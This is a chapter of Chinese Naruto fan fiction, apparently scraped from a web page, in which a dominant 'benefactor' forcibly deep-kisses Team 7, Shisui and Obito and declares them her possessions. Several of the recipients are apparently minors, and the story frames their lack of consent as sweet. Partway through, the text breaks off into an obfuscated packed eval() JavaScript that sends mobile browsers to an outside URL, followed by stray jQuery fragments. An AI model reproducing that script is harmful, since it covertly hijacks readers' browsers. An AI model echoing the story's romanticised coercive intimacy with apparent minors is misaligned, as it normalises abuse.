56. 第七班X止水X带土

作品:《论恩主如何在木叶吞食灵魂

    **绯色日常与甜蜜困扰**


    庭院永恒的时光,在解决了所有外部纷争与内部隐患后,彻底沉入了一种近乎停滞的宁静与甜蜜之中。


    规则已然确立,疆域不再扩张,日子如同流淌在琥珀中的蜜糖,缓慢、粘稠、却又带着恒定的温暖与甜意。


    而苍崎红,这位缔造了一切、也拥有一切的主宰,似乎也终于从“救世主”与“征服者”的角色中彻底放松下来,全身心地投入到了对她庞大“收藏品”的欣赏、把玩与……日益亲密的互动之中。


    身高187的她,在庭院中行走时,无需仰望任何人。


    这让她那带着非人美感的亲昵举动,少了几分仰视的依赖,多了几分自上而下的、理所当然的掌控与宠爱。


    甜蜜,是主旋律。但甜蜜久了,也难免会生出一些……令人啼笑皆非的“小困扰”。


    ………………


    【晨间“点心”与鸣佐樱的“受难日】


    又是一个光影模拟得极其明媚的“清晨”。


    漩涡鸣人结束了一夜的仙术积累,神清气爽地冲出房门,准备进行例行的晨跑。


    他刚跑到中央庭院的开阔地带,深吸一口带着花香的“空气”,还没来得及舒展筋骨,就感觉眼前一暗。


    深蓝色的和服下摆映入眼帘。


    “恩主姐姐!”鸣人立刻扬起灿烂的笑脸,湛蓝的眼睛亮晶晶的。


    苍崎红低头看着他,异色眼瞳在晨光下流转着温润的光泽。


    她没有说话,只是伸出手,捧住了鸣人因为晨跑而微微泛红、还带着健康汗意的脸颊。她的手掌微凉,触感清晰。


    鸣人脸上的笑容僵了僵,心跳不由自主地加快。


    这几年,他已经习惯了恩主姐姐突如其来的亲近,但每次被这样捧住脸、近距离凝视,还是会让他感到一阵混合着害羞和期待的热流涌上头顶。


    “今天的‘阳光’味道,很足。”苍崎红评价道,鼻尖凑近,轻轻嗅了嗅他颈侧汗湿的皮肤,如同在品鉴一枚成熟的果实。


    鸣人的脸“轰”地一下全红了,结结巴巴:“是、是吗?我、我刚跑完步……”


    话音未落,苍崎红已经低头,吻住了他的唇。


    不是浅尝辄止的触碰。


    而是带着晨露般清凉气息的、深入的亲吻。她含住他微张的唇瓣,舌尖灵巧地撬开齿关,深入其中,肆意品尝着他口中那份属于少年的、阳光般鲜活的气息。


    “呜……!”鸣人彻底僵住,大脑一片空白。所有的感官都集中在了唇舌交缠之处。


    恩主姐姐的气息,微凉而清冽,带着一股不容抗拒的力量,席卷了他所有的思考能力。


    他下意识地想要后退,身体却被她捧着脸固定住,只能被动地承受这个漫长而深入的晨吻。


    不知过了多久,苍崎红才缓缓退开。


    鸣人眼神迷离,唇色嫣红,微微喘息,整个人像一只被煮熟的虾子,从头红到脚,头顶几乎要冒出实质的蒸汽。


    “嗯,味道不错。”苍崎红舔了舔自己的唇角,仿佛刚刚享用了一份美味的早点。


    她满意地揉了揉鸣人乱糟糟的金发,然后,目光转向了不远处恰好路过的春野樱。


    小樱本是早起去医疗室整理药材,远远看到鸣人被“拦截”,正想偷笑,结果就对上了苍崎红投来的视线。


    她心中顿时警铃大作,脚步下意识地想转个方向。


    “小樱。”清冷的声音已经响起。


    小樱身体一僵,只能硬着头皮走上前,脸上努力维持着乖巧的笑容:“恩主大人,早安。”


    苍崎红松开还在冒烟的鸣人,转向小樱。


    她伸出手,同样捧住了小樱的脸颊。小樱的脸细腻光滑,因为晨起和一丝紧张而泛着淡淡的粉色,翠绿的眼眸如同初春的湖水。


    “医疗室的味道,还有……新调制的安神香?”苍崎红微微歪头,同样凑近嗅了嗅小樱的颈侧和发间。


    小樱的脸“腾”地一下变得比鸣人刚才还红,连耳朵尖都染上了绯色。她紧张得手指绞紧了衣角,长长的睫毛剧烈颤抖:“是、是的……昨晚试着用‘月见草’的魂力结晶调了一点……”


    话没说完,苍崎红已经吻了上来。


    同样深入的、带着品尝意味的吻。不同于鸣人那种阳光鲜活的味道,小樱的气息更加清甜、柔和,带着草药的微苦和少女独有的芬芳。


    苍崎红似乎很满意这种反差,吻得格外耐心而细致。


    小樱比鸣人更加不知所措。


    第二次……这种直接的唇舌交缠……冲击力太大了。


    她紧紧闭上眼睛,感受着唇上温凉柔软的触感和侵入的清冽气息,心脏狂跳得快要从胸腔里蹦出来,脸颊滚烫得可以煎鸡蛋。


    良久,苍崎红才意犹未尽地退开。


    小樱眼神涣散,唇瓣微肿,大口喘着气,脸上的红晕久久不散。


    “不错。”苍崎红再次给出好评,顺手理了理小樱有些凌乱的粉色发丝,然后,目光如探照灯般,精准地锁定了刚从训练场方向走来的宇智波佐助。


    佐助刚结束一轮高强度的雷遁修炼,周身还带着未散的电弧微光,黑发被汗水浸湿,贴在额前,脸色因为运动而有些发白,但眼神依旧锐利。


    他远远就看到了鸣人和小樱的“惨状”,心中警铃早已拉响,脚步不着痕迹地想要绕开。


    “佐助。”苍崎红的声音如同定身咒。


    佐助身体几不可察地一顿,深吸一口气,面无表情(如果忽略微微抽动的嘴角)地走了过来。“恩主大人。”


    苍崎红这次没有捧脸,而是直接伸手,捏住了佐助的下巴,强迫他抬起头。


    他能清晰地看到她异色眼瞳中映出的自己略显狼狈的样子,以及她眼中那毫不掩饰的、近乎捕食者般的兴趣。


    “雷遁的气息,很锐利。”她评价道,拇指轻轻摩挲过他的下唇,那里因为刚才的修炼而有些干燥。


    佐助的身体瞬间绷紧,黑眸中闪过一丝羞恼和紧张,但更多的是一种早已认命般的、无奈的僵硬。


    他知道要发生什么,也知道反抗无效。


    果然,苍崎红凑近,吻了上来。


    不同于对鸣人的“阳光早餐”和对小樱的“清甜点心”,佐助的吻带着雷电般的微麻感和一丝倔强的清冷。


    苍崎红似乎觉得这种“反抗”的味道很有趣,吻得更加深入而具有侵略性,仿佛要将他周身那层冰冷的外壳彻底融化、吞噬。


    佐助的拳头在身侧握紧又松开,最终只是闭上了眼,长长的睫毛在眼下投出阴影,任由那微凉的气息和柔软的唇舌在自己口中肆虐。


    耳根,却不受控制地红得滴血。


    当苍崎红终于退开时,佐助的唇色也染上了绯红,呼吸微乱,别开脸,努力维持着表面的冷漠,但通红的耳朵和微微起伏的胸膛出卖了他。


    “啧,还有点涩。”苍崎红舔了舔嘴角,似乎不太满意,但眼中兴味更浓,“需要多‘品尝’几次。”


    鸣人&小樱&佐助:“……” 三人不约而同地打了个寒颤,互相看了一眼,都从对方眼中看到了同样的“劫后余生”和“同病相怜”。


    苍崎红似乎完成了晨间的“品鉴”,心情很好地拍了拍三人的肩膀(力道让三人齐齐趔趄了一下),“好了,去修炼吧。下次争取‘味道’更好一点。”


    说完,她施施然离去,留下第七班三人组在原地,面面相觑,脸上红晕未消,嘴唇似乎还残留着那微凉的触感,心情复杂难言。


    远处,恰好目睹全过程的奈良鹿丸,嘴里叼着的草茎掉了下来。


    他揉了揉眼睛,确认自己没看错,然后一脸麻木地转向身边的父亲鹿久:“老爸,我是不是眼花了?恩主大人这是……把第七班当自助早餐了?还挨个点评?”


    鹿久也是一脸无奈,扶额道:“习惯就好……恩主大人的‘表达方式’,总是这么……直接且富有‘创意’。至少,她没在公共食堂这么做。”


    鹿丸:“……” 这算是安慰吗?


    更远处,躲在回廊柱子后的自来也,已经激动地掏出了小本本,笔尖飞舞:“晨光下的掠夺之吻!第七班三人行的甜蜜‘酷刑’!阳光、清甜、冷冽,三种风味一次满足!哦!这设定!这反差!《庭主晨间品鉴录》!”


    而漩涡玖辛奈不知从哪里飘了出来,一把搂住还有些晕乎乎的儿子鸣人,兴奋地揉着他的金发:“哈哈哈!鸣人!被红酱亲了吧!还是深吻!怎么样怎么样?什么感觉?”


    鸣人好不容易降温的脸又红了,支支吾吾:“老、老妈!别问了啦!”


    佐助冷哼一声,拉着还想追问细节的小樱,头也不回地快步离开“案发现场”,背影颇有些落荒而逃的意味。


    晨间的插曲,如同投入平静湖面的一串石子,涟漪迅速扩散,成为了接下来几天庭院中经久不衰的谈资和调侃第七班的“利器”。


    而三位当事人,在度过了最初的极度羞赧后,也只能努力装作若无其事,只是修炼时更加拼命(或许是为了下次“味道”更好?),以及……尽量避开恩主大人晨间可能出没的路线。


    ***


    【巡视与止水】


    午后,苍崎红有时会进行例行的“庭院巡视”。


    这并非检查工作,更像是一种闲散的散步,顺便……抽查她的“收藏品”状态。


    这一日,她“巡视”到了宇智波止水负责的、专门用于教导年轻亡灵和新居民基础幻术与感知技巧的“静心堂”。


    堂内光线柔和,止水正在耐心地为几名新转化的宇智波少年亡灵讲解一个简单的视觉干扰幻术。


    他声音温和,讲解清晰,演示时手指结印的动作如行云流水,周身散发着令人安心的沉静气息。


    苍崎红没有打扰,只是斜倚在门框上,静静地看着。


    午后的阳光透过窗棂,在他英挺的侧脸和柔软的黑发上镀上一层金边,将他专注而温柔的神情映照得格外清晰。


    直到课程告一段落,少年们恭敬行礼退下,止水才察觉到门口的气息。他转过头,看到苍崎红,脸上立刻绽开一个温暖而毫无意外的笑容,微微躬身:“恩主大人。”


    苍崎红走进静心堂,脚步无声。她来到止水面前,伸手,很自然地抚上他的脸颊,指尖描摹着他眉眼的轮廓。


    “教学的样子,很好看。”她评价道,异色眼瞳专注地凝视着他,“灵魂的颜色,也比平时更暖,像温过的清酒。”


    止水脸上泛起淡淡的红晕,但眼神依旧温柔,任由她的手指在自己脸上流连。“能让恩主大人觉得好看,是止水的荣幸。”


    苍崎红似乎很满意他的回答,手指下滑,轻轻托起他的下巴,然后,低头吻了上去。


    这是一个与晨间那充满掠夺性的“品鉴”截然不同的吻。温柔,缱绻,带着午后阳光般的暖意和一丝淡淡的茶香。


    她细细品尝着他的唇瓣,舌尖轻柔地探入,与他交缠,仿佛在享受一段悠闲的下午茶时光。


    止水闭上眼,长睫轻颤,顺从地回应着这个吻。


    心跳虽然加快,但更多是一种被珍视的温暖和悸动。


    他能感觉到她唇舌间的温柔与占有,也能感觉到自己内心深处那份早已生根发芽的情感,在这个吻中悄然滋长、回应。


    这个吻持续了很长时间,直到止水有些气息不稳,苍崎红才缓缓退开。她看着止水微红的脸颊和泛着水光的唇,眼中掠过一丝明显的愉悦。


    “今天的‘工作福利’,味道很好。”她低声说,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283842|198394||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    指尖点了点他的唇角,“下次继续努力。”


    止水微微喘息,脸上红晕更深,但笑容依旧温润柔和:“是……我会的。”


    苍崎红似乎觉得还不够,又凑过去,在他额头上轻轻印下一吻,这才心满意足地转身,继续她的“巡视”。


    止水站在原地,抬手轻触自己仍残留着温度和触感的唇,望着她离去的背影,良久,才无奈又温柔地低笑了一声。


    这一幕,自然又被几个“恰好”路过静心堂外、准备上课的年轻亡灵看了个正着。消息很快传开:“止水前辈在授课时得到了恩主大人的‘深度慰问’,据说评价很高,还被鼓励‘继续努力’!”


    于是,接下来几天,静心堂的课程报名人数激增,甚至一些早已掌握基础幻术的亡灵也跑来“复习”,课堂纪律空前良好,所有学生(亡灵)都眼巴巴地望着止水,眼神中充满了“前辈!我们也想被恩主大人‘慰问’!”的渴望。


    止水对此只能报以更加温和无奈的笑容,但心底那份被公开认可的甜蜜与温暖,却真实不虚。


    …………


    【月下“谈心”与带土被动配合】


    比起其他人或多或少已经适应甚至期待的状态,宇智波带土对于苍崎红的“亲近”,始终处于一种别扭、抗拒却又无法真正反抗的“被动配合”状态。


    这一夜,月华如水。


    带土独自坐在庭院西侧一处偏僻的瞭望台边缘,望着下方无边无际、在月光下泛着微光的淡绯色领域。


    他摘下了那副总是戴着的漩涡面具,露出那张半边清秀、半边布满狰狞疤痕的脸。


    独眼中没有了往日的疯狂与偏执,只剩下一种深沉的疲惫和挥之不去的茫然。


    脚步声自身后响起,很轻,但他立刻察觉到了那独特的清冷气息。


    身体几不可察地绷紧,他没有回头。


    苍崎红走到他身边,同样望向下方静谧的领域,没有说话。


    夜风吹起她的黑发和深蓝色和服的衣袖,带来她身上特有的异香。


    良久,她才开口,声音在夜风中显得格外清晰:“还在想黑绝和辉夜的事?”


    带土沉默了一下,声音干涩:“……有什么好想的。不过是被一个可笑的执念,骗了一辈子的蠢货罢了。”语气里满是自嘲。


    “蠢是蠢了点,”苍崎红居然点了点头,表示同意,“但那份被欺骗、被利用、最终一切努力都化为虚无的感觉……确实不好受。”


    带土猛地转头,独眼瞪着她,有些意外她会这么说。


    苍崎红侧过脸,异色眼瞳在月光下如同寒潭,平静地回视他:“我也曾被困在一个无尽的轮回里,被既定的命运和所谓的‘创造者’玩弄。所以,我能理解那种……所有努力都失去意义,自身存在都变得可笑的虚无感。”


    她的语气平淡,却让带土心中一震。他第一次从她口中听到关于她自身过去的只言片语。


    无尽轮回?创造者?这些词汇背后隐藏的含义,让他心中的自怜自艾都淡去了几分,取而代之的是一种更深的好奇和……一丝莫名的共鸣。


    “不过,”苍崎红话锋一转,伸手,捏住了带土的下巴。


    她的动作不算温柔,带着不容置疑的力量。


    “我和你的选择不同。我不会沉溺在虚无和自怨自艾里。我会抓住我能抓住的一切,重新定义我的世界,我的规则,我的……所有物。”


    她的脸在月光下美得不真实,异色眼瞳中倒映着他惊愕的神情。


    “而你,宇智波带土,”她缓缓凑近,气息拂过他的脸颊。


    “现在也是我的‘所有物’之一。你的过去,你的愚蠢,你的痛苦,都属于我。那么,你未来的‘意义’,也该由我来赋予。”


    说完,不等带土反应,她吻了上去。


    不同于对止水的温柔缱绻,也不同于对第七班的品尝掠夺,这个吻带着一种冰冷的、宣告主权般的意味。


    她的唇舌强势地侵入,不容拒绝地扫过他口腔的每一个角落,仿佛在盖下一个专属的印章。


    带土的身体瞬间僵硬如铁,独眼瞪得老大,脑中一片混乱。


    抗拒、羞愤、荒谬、以及一丝连他自己都未察觉的、被如此霸道地“宣告所有”而产生的奇异悸动,交织在一起。他想推开她,手却像灌了铅一样抬不起来。


    最终,他只能紧紧闭上那只独眼,被动地承受着这个冰冷而漫长的吻。


    直到他几乎窒息,苍崎红才退开。她看着带土微微喘息、脸色复杂(混杂着红晕和苍白)的样子,似乎还算满意。


    “记住这个感觉,”她松开他的下巴,用指尖擦去他唇角一点可疑的水渍。


    “你属于这里,属于我。那些无意义的过去,该放下了。如果放不下……”她顿了顿,异色眼瞳中闪过一丝近乎恶劣的光芒,“我不介意用更多这样的‘方式’,帮你‘格式化’。”


    带土:“……” 他张了张嘴,却什么也说不出来,只能看着苍崎红转身,翩然离去,消失在月光下的回廊尽头。


    夜风吹过,带土独自站在瞭望台上,良久,才抬手,狠狠擦了一把自己的嘴唇,脸上表情变幻不定,最终,化作一声长长的、充满了无力感和复杂情绪的叹息。


    庭院的日子,就在这些或甜蜜、或无奈、或令人心跳加速的亲密互动中,日复一日地流淌。


    每个人都逐渐找到了自己与这位非人之主相处的、独特的节奏与方式。


    而苍崎红,似乎也乐在其中,将她庞大“收藏品”的每一种“颜色”和“味道”,都细细品尝、把玩,乐此不疲。


    至于那些被亲吻后的脸红心跳、私下议论、以及偶尔的“战略性躲避”……或许,也是这永恒庭院中,不可或缺的、鲜活而生动的点缀吧。